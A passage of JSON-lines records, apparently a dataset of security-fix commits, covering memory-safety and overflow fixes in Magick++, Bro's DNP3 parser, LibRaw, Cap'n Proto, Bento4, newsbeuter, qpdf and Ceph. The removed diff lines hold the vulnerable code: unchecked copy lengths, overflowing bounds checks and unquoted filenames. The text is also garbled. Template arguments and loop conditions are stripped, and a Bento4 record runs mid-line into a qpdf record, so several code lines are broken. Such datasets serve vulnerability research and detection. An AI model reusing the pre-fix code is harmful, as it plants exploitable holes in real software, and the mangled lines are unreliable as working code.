"3358f060fc182551822576b2c0a8850faab5d543", "commit_message": "Fixed memory leak when creating nested exceptions in Magick++.", "patch": "@@ -852,12 +852,18 @@ MagickPPExport void Magick::throwException(ExceptionInfo *exception_,\n exception_->description) != 0))\n {\n if (nestedException == (Exception *) NULL)\n- nestedException=createException(p);\n+ {\n+ nestedException=createException(p);\n+ q=nestedException;\n+ }\n else\n {\n- q=createException(p);\n- nestedException->nested(q);\n- nestedException=q;\n+ Exception\n+ *r;\n+\n+ r=createException(p);\n+ q->nested(r);\n+ q=r;\n }\n }\n }", "sections": [{"section": "@@ -852,12 +852,18 @@ MagickPPExport void Magick::throwException(ExceptionInfo *exception_,\n exception_->description) != 0))\n {\n if (nestedException == (Exception *) NULL)\n- nestedException=createException(p);\n+ {\n+ nestedException=createException(p);\n+ q=nestedException;\n+ }\n else\n {\n- q=createException(p);\n- nestedException->nested(q);\n- nestedException=q;\n+ Exception\n+ *r;\n+\n+ r=createException(p);\n+ q->nested(r);\n+ q=r;\n }\n }\n }", "related": false}]} +{"owner": "bro", "repo": "bro", "language": "C", "file_name": "src/analyzer/protocol/dnp3/DNP3.cc", "commit_id": "6cedd67c381ff22fde653adf02ee31caf66c81a0", "commit_message": "DNP3: fix reachable assertion and buffer over-read/overflow.\n\nA DNP3 packet using a link layer header that specifies a zero length can\ntrigger an assertion failure if assertions are enabled. Assertions are\nenabled unless Bro is compiled with the NDEBUG preprocessor macro\ndefined. The default configuration of Bro will define this macro and so\ndisables assertions, but using the --enable-debug option in the\nconfigure script will enable assertions. When assertions are disabled,\nor also for certain length values, the DNP3 parser may attempt to pass a\nnegative value as the third argument to memcpy (number of bytes to copy)\nand result in a buffer over-read or overflow.\n\nReported by Travis Emmert.", "patch": "@@ -138,9 +138,14 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \t\tif ( endp->in_hdr )\n \t\t\t{\n \t\t\t// We're parsing the DNP3 header and link layer, get that in full.\n-\t\t\tif ( ! AddToBuffer(endp, PSEUDO_APP_LAYER_INDEX, &data, &len) )\n+\t\t\tint res = AddToBuffer(endp, PSEUDO_APP_LAYER_INDEX, &data, &len);\n+\n+\t\t\tif ( res == 0 )\n \t\t\t\treturn true;\n \n+\t\t\tif ( res < 0 )\n+\t\t\t\treturn false;\n+\n \t\t\t// The first two bytes must always be 0x0564.\n \t\t\tif( endp->buffer[0] != 0x05 || endp->buffer[1] != 0x64 )\n \t\t\t\t{\n@@ -186,7 +191,11 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \n \t\tif ( ! endp->in_hdr )\n \t\t\t{\n-\t\t\tassert(endp->pkt_length);\n+\t\t\tif ( endp->pkt_length <= 0 )\n+\t\t\t\t{\n+\t\t\t\tanalyzer->Weird(\"dnp3_negative_or_zero_length_link_layer\");\n+\t\t\t\treturn false;\n+\t\t\t\t}\n \n \t\t\t// We're parsing the DNP3 application layer, get that\n \t\t\t// in full now as well. We calculate the number of\n@@ -197,9 +206,14 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \t\t\tint n = PSEUDO_APP_LAYER_INDEX + (endp->pkt_length - 5) + ((endp->pkt_length - 5) / 16) * 2\n \t\t\t\t\t+ 2 * ( ((endp->pkt_length - 5) % 16 == 0) ? 0 : 1) - 1 ;\n \n-\t\t\tif ( ! AddToBuffer(endp, n, &data, &len) )\n+\t\t\tint res = AddToBuffer(endp, n, &data, &len);\n+\n+\t\t\tif ( res == 0 )\n \t\t\t\treturn true;\n \n+\t\t\tif ( res < 0 )\n+\t\t\t\treturn false;\n+\n \t\t\t// Parse the the application layer data.\n \t\t\tif ( ! ParseAppLayer(endp) )\n \t\t\t\treturn false;\n@@ -213,19 +227,42 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \treturn true;\n \t}\n \n-bool DNP3_Base::AddToBuffer(Endpoint* endp, int target_len, const u_char** data, int* len)\n+int DNP3_Base::AddToBuffer(Endpoint* endp, int target_len, const u_char** data, int* len)\n \t{\n \tif ( ! target_len )\n-\t\treturn true;\n+\t\treturn 1;\n+\n+\tif ( *len < 0 )\n+\t\t{\n+\t\treporter->AnalyzerError(analyzer, \"dnp3 negative input length: %d\", *len);\n+\t\treturn -1;\n+\t\t}\n+\n+\tif ( target_len < endp->buffer_len )\n+\t\t{\n+\t\treporter->AnalyzerError(analyzer, \"dnp3 invalid target length: %d - %d\",\n+\t\t target_len, endp->buffer_len);\n+\t\treturn -1;\n+\t\t}\n \n \tint to_copy = min(*len, target_len - endp->buffer_len);\n \n+\tif ( endp->buffer_len + to_copy > MAX_BUFFER_SIZE )\n+\t\t{\n+\t\treporter->AnalyzerError(analyzer, \"dnp3 buffer length exceeded: %d + %d\",\n+\t\t endp->buffer_len, to_copy);\n+\t\treturn -1;\n+\t\t}\n+\n \tmemcpy(endp->buffer + endp->buffer_len, *data, to_copy);\n \t*data += to_copy;\n \t*len -= to_copy;\n \tendp->buffer_len += to_copy;\n \n-\treturn endp->buffer_len == target_len;\n+\tif ( endp->buffer_len == target_len )\n+\t\treturn 1;\n+\n+\treturn 0;\n \t}\n \n bool DNP3_Base::ParseAppLayer(Endpoint* endp)\n@@ -256,8 +293,15 @@ bool DNP3_Base::ParseAppLayer(Endpoint* endp)\n \t\tif ( ! CheckCRC(n, data, data + n, \"app_chunk\") )\n \t\t\treturn false;\n \n+\t\tif ( data + n >= endp->buffer + endp->buffer_len )\n+\t\t\t{\n+\t\t\treporter->AnalyzerError(analyzer,\n+\t\t\t \"dnp3 app layer parsing overflow %d - %d\",\n+\t\t\t endp->buffer_len, n);\n+\t\t\treturn false;\n+\t\t\t}\n+\n \t\t// Pass on to BinPAC.\n-\t\tassert(data + n < endp->buffer + endp->buffer_len);\n \t\tflow->flow_buffer()->BufferData(data + transport, data + n);\n \t\ttransport = 0;\n ", "sections": [{"section": "@@ -138,9 +138,14 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \t\tif ( endp->in_hdr )\n \t\t\t{\n \t\t\t// We're parsing the DNP3 header and link layer, get that in full.\n-\t\t\tif ( ! AddToBuffer(endp, PSEUDO_APP_LAYER_INDEX, &data, &len) )\n+\t\t\tint res = AddToBuffer(endp, PSEUDO_APP_LAYER_INDEX, &data, &len);\n+\n+\t\t\tif ( res == 0 )\n \t\t\t\treturn true;\n \n+\t\t\tif ( res < 0 )\n+\t\t\t\treturn false;\n+\n \t\t\t// The first two bytes must always be 0x0564.\n \t\t\tif( endp->buffer[0] != 0x05 || endp->buffer[1] != 0x64 )\n \t\t\t\t{\n", "related": true}, {"section": "@@ -186,7 +191,11 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \n \t\tif ( ! endp->in_hdr )\n \t\t\t{\n-\t\t\tassert(endp->pkt_length);\n+\t\t\tif ( endp->pkt_length <= 0 )\n+\t\t\t\t{\n+\t\t\t\tanalyzer->Weird(\"dnp3_negative_or_zero_length_link_layer\");\n+\t\t\t\treturn false;\n+\t\t\t\t}\n \n \t\t\t// We're parsing the DNP3 application layer, get that\n \t\t\t// in full now as well. We calculate the number of\n", "related": true}, {"section": "@@ -197,9 +206,14 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \t\t\tint n = PSEUDO_APP_LAYER_INDEX + (endp->pkt_length - 5) + ((endp->pkt_length - 5) / 16) * 2\n \t\t\t\t\t+ 2 * ( ((endp->pkt_length - 5) % 16 == 0) ? 0 : 1) - 1 ;\n \n-\t\t\tif ( ! AddToBuffer(endp, n, &data, &len) )\n+\t\t\tint res = AddToBuffer(endp, n, &data, &len);\n+\n+\t\t\tif ( res == 0 )\n \t\t\t\treturn true;\n \n+\t\t\tif ( res < 0 )\n+\t\t\t\treturn false;\n+\n \t\t\t// Parse the the application layer data.\n \t\t\tif ( ! ParseAppLayer(endp) )\n \t\t\t\treturn false;\n", "related": true}, {"section": "@@ -213,19 +227,42 @@ bool DNP3_Base::ProcessData(int len, const u_char* data, bool orig)\n \treturn true;\n \t}\n \n-bool DNP3_Base::AddToBuffer(Endpoint* endp, int target_len, const u_char** data, int* len)\n+int DNP3_Base::AddToBuffer(Endpoint* endp, int target_len, const u_char** data, int* len)\n \t{\n \tif ( ! target_len )\n-\t\treturn true;\n+\t\treturn 1;\n+\n+\tif ( *len < 0 )\n+\t\t{\n+\t\treporter->AnalyzerError(analyzer, \"dnp3 negative input length: %d\", *len);\n+\t\treturn -1;\n+\t\t}\n+\n+\tif ( target_len < endp->buffer_len )\n+\t\t{\n+\t\treporter->AnalyzerError(analyzer, \"dnp3 invalid target length: %d - %d\",\n+\t\t target_len, endp->buffer_len);\n+\t\treturn -1;\n+\t\t}\n \n \tint to_copy = min(*len, target_len - endp->buffer_len);\n \n+\tif ( endp->buffer_len + to_copy > MAX_BUFFER_SIZE )\n+\t\t{\n+\t\treporter->AnalyzerError(analyzer, \"dnp3 buffer length exceeded: %d + %d\",\n+\t\t endp->buffer_len, to_copy);\n+\t\treturn -1;\n+\t\t}\n+\n \tmemcpy(endp->buffer + endp->buffer_len, *data, to_copy);\n \t*data += to_copy;\n \t*len -= to_copy;\n \tendp->buffer_len += to_copy;\n \n-\treturn endp->buffer_len == target_len;\n+\tif ( endp->buffer_len == target_len )\n+\t\treturn 1;\n+\n+\treturn 0;\n \t}\n \n bool DNP3_Base::ParseAppLayer(Endpoint* endp)\n", "related": true}, {"section": "@@ -256,8 +293,15 @@ bool DNP3_Base::ParseAppLayer(Endpoint* endp)\n \t\tif ( ! CheckCRC(n, data, data + n, \"app_chunk\") )\n \t\t\treturn false;\n \n+\t\tif ( data + n >= endp->buffer + endp->buffer_len )\n+\t\t\t{\n+\t\t\treporter->AnalyzerError(analyzer,\n+\t\t\t \"dnp3 app layer parsing overflow %d - %d\",\n+\t\t\t endp->buffer_len, n);\n+\t\t\treturn false;\n+\t\t\t}\n+\n \t\t// Pass on to BinPAC.\n-\t\tassert(data + n < endp->buffer + endp->buffer_len);\n \t\tflow->flow_buffer()->BufferData(data + transport, data + n);\n \t\ttransport = 0;\n ", "related": true}]} +{"owner": "libraw", "repo": "libraw", "language": "C", "file_name": "dcraw/dcraw.c", "commit_id": "d7c3d2cb460be10a3ea7b32e9443a83c243b2251", "commit_message": "Secunia SA75000 advisory: several buffer overruns", "patch": "@@ -12870,6 +12870,10 @@ int CLASS parse_tiff_ifd(int base)\n load_raw = &CLASS sony_arw_load_raw;\n data_offset = get4() + base;\n ifd++;\n+#ifdef LIBRAW_LIBRARY_BUILD\n+\tif (ifd >= sizeof tiff_ifd / sizeof tiff_ifd[0])\n+\t throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif \n break;\n }\n #ifdef LIBRAW_LIBRARY_BUILD\n@@ -13177,7 +13181,7 @@ int CLASS parse_tiff_ifd(int base)\n break;\n case 50454: /* Sinar tag */\n case 50455:\n- if (len > 2560000 || !(cbuf = (char *)malloc(len)))\n+ if (len < 1 || len > 2560000 || !(cbuf = (char *)malloc(len)))\n break;\n #ifndef LIBRAW_LIBRARY_BUILD\n fread(cbuf, 1, len, ifp);\n@@ -14795,7 +14799,11 @@ int CLASS parse_jpeg(int offset)\n }\n order = get2();\n hlen = get4();\n- if (get4() == 0x48454150) /* \"HEAP\" */\n+ if (get4() == 0x48454150\n+#ifdef LIBRAW_LIBRARY_BUILD\n+\t&& (save+hlen) >= 0 && (save+hlen)<=ifp->size()\n+#endif\n+\t) /* \"HEAP\" */\n {\n #ifdef LIBRAW_LIBRARY_BUILD\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_FixedLens;", "sections": [{"section": "@@ -12870,6 +12870,10 @@ int CLASS parse_tiff_ifd(int base)\n load_raw = &CLASS sony_arw_load_raw;\n data_offset = get4() + base;\n ifd++;\n+#ifdef LIBRAW_LIBRARY_BUILD\n+\tif (ifd >= sizeof tiff_ifd / sizeof tiff_ifd[0])\n+\t throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+#endif \n break;\n }\n #ifdef LIBRAW_LIBRARY_BUILD\n", "related": false}, {"section": "@@ -13177,7 +13181,7 @@ int CLASS parse_tiff_ifd(int base)\n break;\n case 50454: /* Sinar tag */\n case 50455:\n- if (len > 2560000 || !(cbuf = (char *)malloc(len)))\n+ if (len < 1 || len > 2560000 || !(cbuf = (char *)malloc(len)))\n break;\n #ifndef LIBRAW_LIBRARY_BUILD\n fread(cbuf, 1, len, ifp);\n", "related": false}, {"section": "@@ -14795,7 +14799,11 @@ int CLASS parse_jpeg(int offset)\n }\n order = get2();\n hlen = get4();\n- if (get4() == 0x48454150) /* \"HEAP\" */\n+ if (get4() == 0x48454150\n+#ifdef LIBRAW_LIBRARY_BUILD\n+\t&& (save+hlen) >= 0 && (save+hlen)<=ifp->size()\n+#endif\n+\t) /* \"HEAP\" */\n {\n #ifdef LIBRAW_LIBRARY_BUILD\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_FixedLens;", "related": false}]} +{"owner": "capnproto", "repo": "capnproto", "language": "C++", "file_name": "c++/src/capnp/layout.c++", "commit_id": "f343f0dbd0a2e87f17cd74f14186ed73e3fbdbfa", "commit_message": "SECURITY: Integer overflow in pointer validation.\n\nDetails: https://github.com/sandstorm-io/capnproto/tree/master/security-advisories/2014-03-02-0-c++-integer-overflow.md", "patch": "@@ -685,7 +685,8 @@ struct WireHelpers {\n return result;\n }\n \n- KJ_REQUIRE(elementTag->structRef.wordSize() / ELEMENTS * count <= wordCount,\n+ KJ_REQUIRE(elementTag->structRef.wordSize() / ELEMENTS *\n+ ElementCount64(count) <= wordCount,\n \"Struct list pointer's elements overran size.\") {\n return result;\n }\n@@ -1663,7 +1664,7 @@ struct WireHelpers {\n ElementCount elementCount = tag->inlineCompositeListElementCount();\n auto wordsPerElement = tag->structRef.wordSize() / ELEMENTS;\n \n- KJ_REQUIRE(wordsPerElement * elementCount <= wordCount,\n+ KJ_REQUIRE(wordsPerElement * ElementCount64(elementCount) <= wordCount,\n \"INLINE_COMPOSITE list's elements overrun its word count.\") {\n goto useDefault;\n }\n@@ -1919,7 +1920,7 @@ struct WireHelpers {\n size = tag->inlineCompositeListElementCount();\n wordsPerElement = tag->structRef.wordSize() / ELEMENTS;\n \n- KJ_REQUIRE(size * wordsPerElement <= wordCount,\n+ KJ_REQUIRE(ElementCount64(size) * wordsPerElement <= wordCount,\n \"INLINE_COMPOSITE list's elements overrun its word count.\") {\n goto useDefault;\n }", "sections": [{"section": "@@ -685,7 +685,8 @@ struct WireHelpers {\n return result;\n }\n \n- KJ_REQUIRE(elementTag->structRef.wordSize() / ELEMENTS * count <= wordCount,\n+ KJ_REQUIRE(elementTag->structRef.wordSize() / ELEMENTS *\n+ ElementCount64(count) <= wordCount,\n \"Struct list pointer's elements overran size.\") {\n return result;\n }\n", "related": false}, {"section": "@@ -1663,7 +1664,7 @@ struct WireHelpers {\n ElementCount elementCount = tag->inlineCompositeListElementCount();\n auto wordsPerElement = tag->structRef.wordSize() / ELEMENTS;\n \n- KJ_REQUIRE(wordsPerElement * elementCount <= wordCount,\n+ KJ_REQUIRE(wordsPerElement * ElementCount64(elementCount) <= wordCount,\n \"INLINE_COMPOSITE list's elements overrun its word count.\") {\n goto useDefault;\n }\n", "related": false}, {"section": "@@ -1919,7 +1920,7 @@ struct WireHelpers {\n size = tag->inlineCompositeListElementCount();\n wordsPerElement = tag->structRef.wordSize() / ELEMENTS;\n \n- KJ_REQUIRE(size * wordsPerElement <= wordCount,\n+ KJ_REQUIRE(ElementCount64(size) * wordsPerElement <= wordCount,\n \"INLINE_COMPOSITE list's elements overrun its word count.\") {\n goto useDefault;\n }", "related": false}]} +{"owner": "axiomatic-systems", "repo": "bento4", "language": "C++", "file_name": "Source/C++/Core/Ap4AtomSampleTable.cpp", "commit_id": "2f267f89f957088197f4b1fc254632d1645b415d", "commit_message": "fix for #183", "patch": "@@ -140,8 +140,10 @@ AP4_AtomSampleTable::GetSample(AP4_Ordinal index,\n AP4_UI32 cts_offset = 0;\n AP4_UI64 dts = 0;\n AP4_UI32 duration = 0;\n- result = m_SttsAtom->GetDts(index, dts, &duration);\n- if (AP4_FAILED(result)) return result;\n+ if (m_SttsAtom) {\n+ result = m_SttsAtom->GetDts(index, dts, &duration);\n+ if (AP4_FAILED(result)) return result;\n+ }\n sample.SetDuration(duration);\n sample.SetDts(dts);\n if (m_CttsAtom == NULL) {", "sections": [{"section": "@@ -140,8 +140,10 @@ AP4_AtomSampleTable::GetSample(AP4_Ordinal index,\n AP4_UI32 cts_offset = 0;\n AP4_UI64 dts = 0;\n AP4_UI32 duration = 0;\n- result = m_SttsAtom->GetDts(index, dts, &duration);\n- if (AP4_FAILED(result)) return result;\n+ if (m_SttsAtom) {\n+ result = m_SttsAtom->GetDts(index, dts, &duration);\n+ if (AP4_FAILED(result)) return result;\n+ }\n sample.SetDuration(duration);\n sample.SetDts(dts);\n if (m_CttsAtom == NULL) {", "related": false}]} +{"owner": "akrennmair", "repo": "newsbeuter", "language": "C++", "file_name": "src/queueloader.cpp", "commit_id": "c8fea2f60c18ed30bdd1bb6f798e994e51a58260", "commit_message": "Work around shell code in podcast names (#598)", "patch": "@@ -130,7 +130,7 @@ std::string queueloader::get_filename(const std::string& str) {\n \t\tstrftime(lbuf, sizeof(lbuf), \"%Y-%b-%d-%H%M%S.unknown\", localtime(&t));\n \t\tfn.append(lbuf);\n \t} else {\n-\t\tfn.append(base);\n+\t\tfn.append(utils::replace_all(base, \"'\", \"%27\"));\n \t}\n \treturn fn;\n }", "sections": [{"section": "@@ -130,7 +130,7 @@ std::string queueloader::get_filename(const std::string& str) {\n \t\tstrftime(lbuf, sizeof(lbuf), \"%Y-%b-%d-%H%M%S.unknown\", localtime(&t));\n \t\tfn.append(lbuf);\n \t} else {\n-\t\tfn.append(base);\n+\t\tfn.append(utils::replace_all(base, \"'\", \"%27\"));\n \t}\n \treturn fn;\n }", "related": false}]} +{"owner": "axiomatic-systems", "repo": "bento4", "language": "C++", "file_name": "Source/C++/Core/Ap4AvccAtom.cpp", "commit_id": "4d3f0bebd5f8518fd775f671c12bea58c68e814e", "commit_message": "fixed possible crashes on malformed inputs.", "patch": "@@ -270,7 +270,7 @@ AP4_AvccAtom::InspectFields(AP4_AtomInspector& inspector)\n for (unsigned int i=0; i(O_key), OU_key_bytes_V4);\n+ pad_short_parameter(k1, data.getLengthBytes());\n iterate_rc4(QUtil::unsigned_char_pointer(upass), key_bytes,\n \t\tO_key, data.getLengthBytes(),\n (data.getR() >= 3) ? 20 : 1, false);\n@@ -495,6 +497,7 @@ compute_U_value_R2(std::string const& user_password,\n std::string k1 = QPDF::compute_encryption_key(user_password, data);\n char udata[key_bytes];\n pad_or_truncate_password_V4(\"\", udata);\n+ pad_short_parameter(k1, data.getLengthBytes());\n iterate_rc4(QUtil::unsigned_char_pointer(udata), key_bytes,\n \t\tQUtil::unsigned_char_pointer(k1),\n data.getLengthBytes(), 1, false);\n@@ -516,6 +519,7 @@ compute_U_value_R3(std::string const& user_password,\n data.getId1().length());\n MD5::Digest digest;\n md5.digest(digest);\n+ pad_short_parameter(k1, data.getLengthBytes());\n iterate_rc4(digest, sizeof(MD5::Digest),\n \t\tQUtil::unsigned_char_pointer(k1),\n data.getLengthBytes(), 20, false);\n@@ -591,7 +595,10 @@ check_owner_password_V4(std::string& user_password,\n compute_O_rc4_key(user_password, owner_password, data, key);\n unsigned char O_data[key_bytes];\n memcpy(O_data, QUtil::unsigned_char_pointer(data.getO()), key_bytes);\n- iterate_rc4(O_data, key_bytes, key, data.getLengthBytes(),\n+ std::string k1(reinterpret_cast(key), OU_key_bytes_V4);\n+ pad_short_parameter(k1, data.getLengthBytes());\n+ iterate_rc4(O_data, key_bytes, QUtil::unsigned_char_pointer(k1),\n+ data.getLengthBytes(),\n (data.getR() >= 3) ? 20 : 1, true);\n std::string new_user_password =\n std::string(reinterpret_cast(O_data), key_bytes);\n@@ -886,6 +893,7 @@ QPDF::initializeEncryption()\n \n if (V < 5)\n {\n+ // These must be exactly the right number of bytes.\n pad_short_parameter(O, key_bytes);\n pad_short_parameter(U, key_bytes);\n if (! ((O.length() == key_bytes) && (U.length() == key_bytes)))\n@@ -913,24 +921,12 @@ QPDF::initializeEncryption()\n UE = encryption_dict.getKey(\"/UE\").getStringValue();\n Perms = encryption_dict.getKey(\"/Perms\").getStringValue();\n \n+ // These may be longer than the minimum number of bytes.\n pad_short_parameter(O, OU_key_bytes_V5);\n pad_short_parameter(U, OU_key_bytes_V5);\n pad_short_parameter(OE, OUE_key_bytes_V5);\n pad_short_parameter(UE, OUE_key_bytes_V5);\n pad_short_parameter(Perms, Perms_key_bytes_V5);\n- if ((O.length() < OU_key_bytes_V5) ||\n- (U.length() < OU_key_bytes_V5) ||\n- (OE.length() < OUE_key_bytes_V5) ||\n- (UE.length() < OUE_key_bytes_V5) ||\n- (Perms.length() < Perms_key_bytes_V5))\n- {\n- throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(),\n- \"encryption dictionary\",\n- this->m->file->getLastOffset(),\n- \"incorrect length for some of\"\n- \" /O, /U, /OE, /UE, or /Perms in\"\n- \" encryption dictionary\");\n- }\n }\n \n int Length = 40;", "sections": [{"section": "@@ -479,6 +479,8 @@ compute_O_value(std::string const& user_password,\n \n char upass[key_bytes];\n pad_or_truncate_password_V4(user_password, upass);\n+ std::string k1(reinterpret_cast(O_key), OU_key_bytes_V4);\n+ pad_short_parameter(k1, data.getLengthBytes());\n iterate_rc4(QUtil::unsigned_char_pointer(upass), key_bytes,\n \t\tO_key, data.getLengthBytes(),\n (data.getR() >= 3) ? 20 : 1, false);\n", "related": true}, {"section": "@@ -495,6 +497,7 @@ compute_U_value_R2(std::string const& user_password,\n std::string k1 = QPDF::compute_encryption_key(user_password, data);\n char udata[key_bytes];\n pad_or_truncate_password_V4(\"\", udata);\n+ pad_short_parameter(k1, data.getLengthBytes());\n iterate_rc4(QUtil::unsigned_char_pointer(udata), key_bytes,\n \t\tQUtil::unsigned_char_pointer(k1),\n data.getLengthBytes(), 1, false);\n", "related": true}, {"section": "@@ -516,6 +519,7 @@ compute_U_value_R3(std::string const& user_password,\n data.getId1().length());\n MD5::Digest digest;\n md5.digest(digest);\n+ pad_short_parameter(k1, data.getLengthBytes());\n iterate_rc4(digest, sizeof(MD5::Digest),\n \t\tQUtil::unsigned_char_pointer(k1),\n data.getLengthBytes(), 20, false);\n", "related": true}, {"section": "@@ -591,7 +595,10 @@ check_owner_password_V4(std::string& user_password,\n compute_O_rc4_key(user_password, owner_password, data, key);\n unsigned char O_data[key_bytes];\n memcpy(O_data, QUtil::unsigned_char_pointer(data.getO()), key_bytes);\n- iterate_rc4(O_data, key_bytes, key, data.getLengthBytes(),\n+ std::string k1(reinterpret_cast(key), OU_key_bytes_V4);\n+ pad_short_parameter(k1, data.getLengthBytes());\n+ iterate_rc4(O_data, key_bytes, QUtil::unsigned_char_pointer(k1),\n+ data.getLengthBytes(),\n (data.getR() >= 3) ? 20 : 1, true);\n std::string new_user_password =\n std::string(reinterpret_cast(O_data), key_bytes);\n", "related": true}, {"section": "@@ -886,6 +893,7 @@ QPDF::initializeEncryption()\n \n if (V < 5)\n {\n+ // These must be exactly the right number of bytes.\n pad_short_parameter(O, key_bytes);\n pad_short_parameter(U, key_bytes);\n if (! ((O.length() == key_bytes) && (U.length() == key_bytes)))\n", "related": true}, {"section": "@@ -913,24 +921,12 @@ QPDF::initializeEncryption()\n UE = encryption_dict.getKey(\"/UE\").getStringValue();\n Perms = encryption_dict.getKey(\"/Perms\").getStringValue();\n \n+ // These may be longer than the minimum number of bytes.\n pad_short_parameter(O, OU_key_bytes_V5);\n pad_short_parameter(U, OU_key_bytes_V5);\n pad_short_parameter(OE, OUE_key_bytes_V5);\n pad_short_parameter(UE, OUE_key_bytes_V5);\n pad_short_parameter(Perms, Perms_key_bytes_V5);\n- if ((O.length() < OU_key_bytes_V5) ||\n- (U.length() < OU_key_bytes_V5) ||\n- (OE.length() < OUE_key_bytes_V5) ||\n- (UE.length() < OUE_key_bytes_V5) ||\n- (Perms.length() < Perms_key_bytes_V5))\n- {\n- throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(),\n- \"encryption dictionary\",\n- this->m->file->getLastOffset(),\n- \"incorrect length for some of\"\n- \" /O, /U, /OE, /UE, or /Perms in\"\n- \" encryption dictionary\");\n- }\n }\n \n int Length = 40;", "related": true}]} +{"owner": "libraw", "repo": "libraw", "language": "C++", "file_name": "internal/libraw_x3f.cpp", "commit_id": "f0c505a3e5d47989a5f69be2d0d4f250af6b1a6c", "commit_message": "X3F property table list fix", "patch": "@@ -121,8 +121,6 @@ typedef struct x3f_property_s {\n /* Computed */\n utf16_t *name;\t\t/* 0x0000 terminated UTF 16 */\n utf16_t *value; /* 0x0000 terminated UTF 16 */\n- char *name_utf8;\t\t/* converted to UTF 8 */\n- char *value_utf8; /* converted to UTF 8 */\n } x3f_property_t;\n \n typedef struct x3f_property_table_s {\n@@ -516,7 +514,6 @@ unsigned x3f_get4(LibRaw_abstract_datastream *f)\n \t\tint _cur = _file->_func(_buffer,1,_left);\t\\\n \t\tif (_cur == 0) {\t\t\t\t\t\t\t\\\n \t\t\tthrow LIBRAW_EXCEPTION_IO_CORRUPT;\t\t\\\n-\t\t\texit(1);\t\t\t\t\t\t\t\t\\\n \t\t}\t\t\t\t\t\t\t\t\t\t\t\\\n \t\t_left -= _cur;\t\t\t\t\t\t\t\t\\\n \t}\t\t\t\t\t\t\t\t\t\t\t\t\\\n@@ -912,11 +909,6 @@ static void free_camf_entry(camf_entry_t *entry)\n \t\t\tif (PL)\n \t\t\t{\n \t\t\t\tint i;\n-\n-\t\t\t\tfor (i = 0; i < PL->property_table.size; i++) {\n-\t\t\t\t\tFREE(PL->property_table.element[i].name_utf8);\n-\t\t\t\t\tFREE(PL->property_table.element[i].value_utf8);\n-\t\t\t\t}\n \t\t\t}\n \t\t\tFREE(PL->property_table.element);\n \t\t\tFREE(PL->data);\n@@ -1624,14 +1616,14 @@ static void x3f_load_property_list(x3f_info_t *I, x3f_directory_entry_t *DE)\n \n \tif (!PL->data_size)\n \t\tPL->data_size = read_data_block(&PL->data, I, DE, 0);\n+\tuint32_t maxoffset = PL->data_size/sizeof(utf16_t)-2; // at least 2 chars, value + terminating 0x0000\n \n \tfor (i=0; inum_properties; i++) {\n \t\tx3f_property_t *P = &PL->property_table.element[i];\n-\n+\t\tif(P->name_offset > maxoffset || P->value_offset > maxoffset)\n+\t\t\tthrow LIBRAW_EXCEPTION_IO_CORRUPT;\n \t\tP->name = ((utf16_t *)PL->data + P->name_offset);\n \t\tP->value = ((utf16_t *)PL->data + P->value_offset);\n-\t\tP->name_utf8 = 0;// utf16le_to_utf8(P->name);\n-\t\tP->value_utf8 = 0;//utf16le_to_utf8(P->value);\n \t}\n }\n ", "sections": [{"section": "@@ -121,8 +121,6 @@ typedef struct x3f_property_s {\n /* Computed */\n utf16_t *name;\t\t/* 0x0000 terminated UTF 16 */\n utf16_t *value; /* 0x0000 terminated UTF 16 */\n- char *name_utf8;\t\t/* converted to UTF 8 */\n- char *value_utf8; /* converted to UTF 8 */\n } x3f_property_t;\n \n typedef struct x3f_property_table_s {\n", "related": false}, {"section": "@@ -516,7 +514,6 @@ unsigned x3f_get4(LibRaw_abstract_datastream *f)\n \t\tint _cur = _file->_func(_buffer,1,_left);\t\\\n \t\tif (_cur == 0) {\t\t\t\t\t\t\t\\\n \t\t\tthrow LIBRAW_EXCEPTION_IO_CORRUPT;\t\t\\\n-\t\t\texit(1);\t\t\t\t\t\t\t\t\\\n \t\t}\t\t\t\t\t\t\t\t\t\t\t\\\n \t\t_left -= _cur;\t\t\t\t\t\t\t\t\\\n \t}\t\t\t\t\t\t\t\t\t\t\t\t\\\n", "related": false}, {"section": "@@ -912,11 +909,6 @@ static void free_camf_entry(camf_entry_t *entry)\n \t\t\tif (PL)\n \t\t\t{\n \t\t\t\tint i;\n-\n-\t\t\t\tfor (i = 0; i < PL->property_table.size; i++) {\n-\t\t\t\t\tFREE(PL->property_table.element[i].name_utf8);\n-\t\t\t\t\tFREE(PL->property_table.element[i].value_utf8);\n-\t\t\t\t}\n \t\t\t}\n \t\t\tFREE(PL->property_table.element);\n \t\t\tFREE(PL->data);\n", "related": false}, {"section": "@@ -1624,14 +1616,14 @@ static void x3f_load_property_list(x3f_info_t *I, x3f_directory_entry_t *DE)\n \n \tif (!PL->data_size)\n \t\tPL->data_size = read_data_block(&PL->data, I, DE, 0);\n+\tuint32_t maxoffset = PL->data_size/sizeof(utf16_t)-2; // at least 2 chars, value + terminating 0x0000\n \n \tfor (i=0; inum_properties; i++) {\n \t\tx3f_property_t *P = &PL->property_table.element[i];\n-\n+\t\tif(P->name_offset > maxoffset || P->value_offset > maxoffset)\n+\t\t\tthrow LIBRAW_EXCEPTION_IO_CORRUPT;\n \t\tP->name = ((utf16_t *)PL->data + P->name_offset);\n \t\tP->value = ((utf16_t *)PL->data + P->value_offset);\n-\t\tP->name_utf8 = 0;// utf16le_to_utf8(P->name);\n-\t\tP->value_utf8 = 0;//utf16le_to_utf8(P->value);\n \t}\n }\n ", "related": false}]} +{"owner": "ceph", "repo": "ceph", "language": "C", "file_name": "src/mon/OSDMonitor.cc", "commit_id": "975528f632f73fbffa3f1fee304e3bbe3296cffc", "commit_message": "Merge remote-tracking branch 'private/wip-mon-snap-caps'", "patch": "@@ -76,6 +76,9 @@\n #include \"include/str_map.h\"\n #include \"include/scope_guard.h\"\n \n+#include \"auth/cephx/CephxKeyServer.h\"\n+#include \"osd/OSDCap.h\"\n+\n #include \"json_spirit/json_spirit_reader.h\"\n \n #include \n@@ 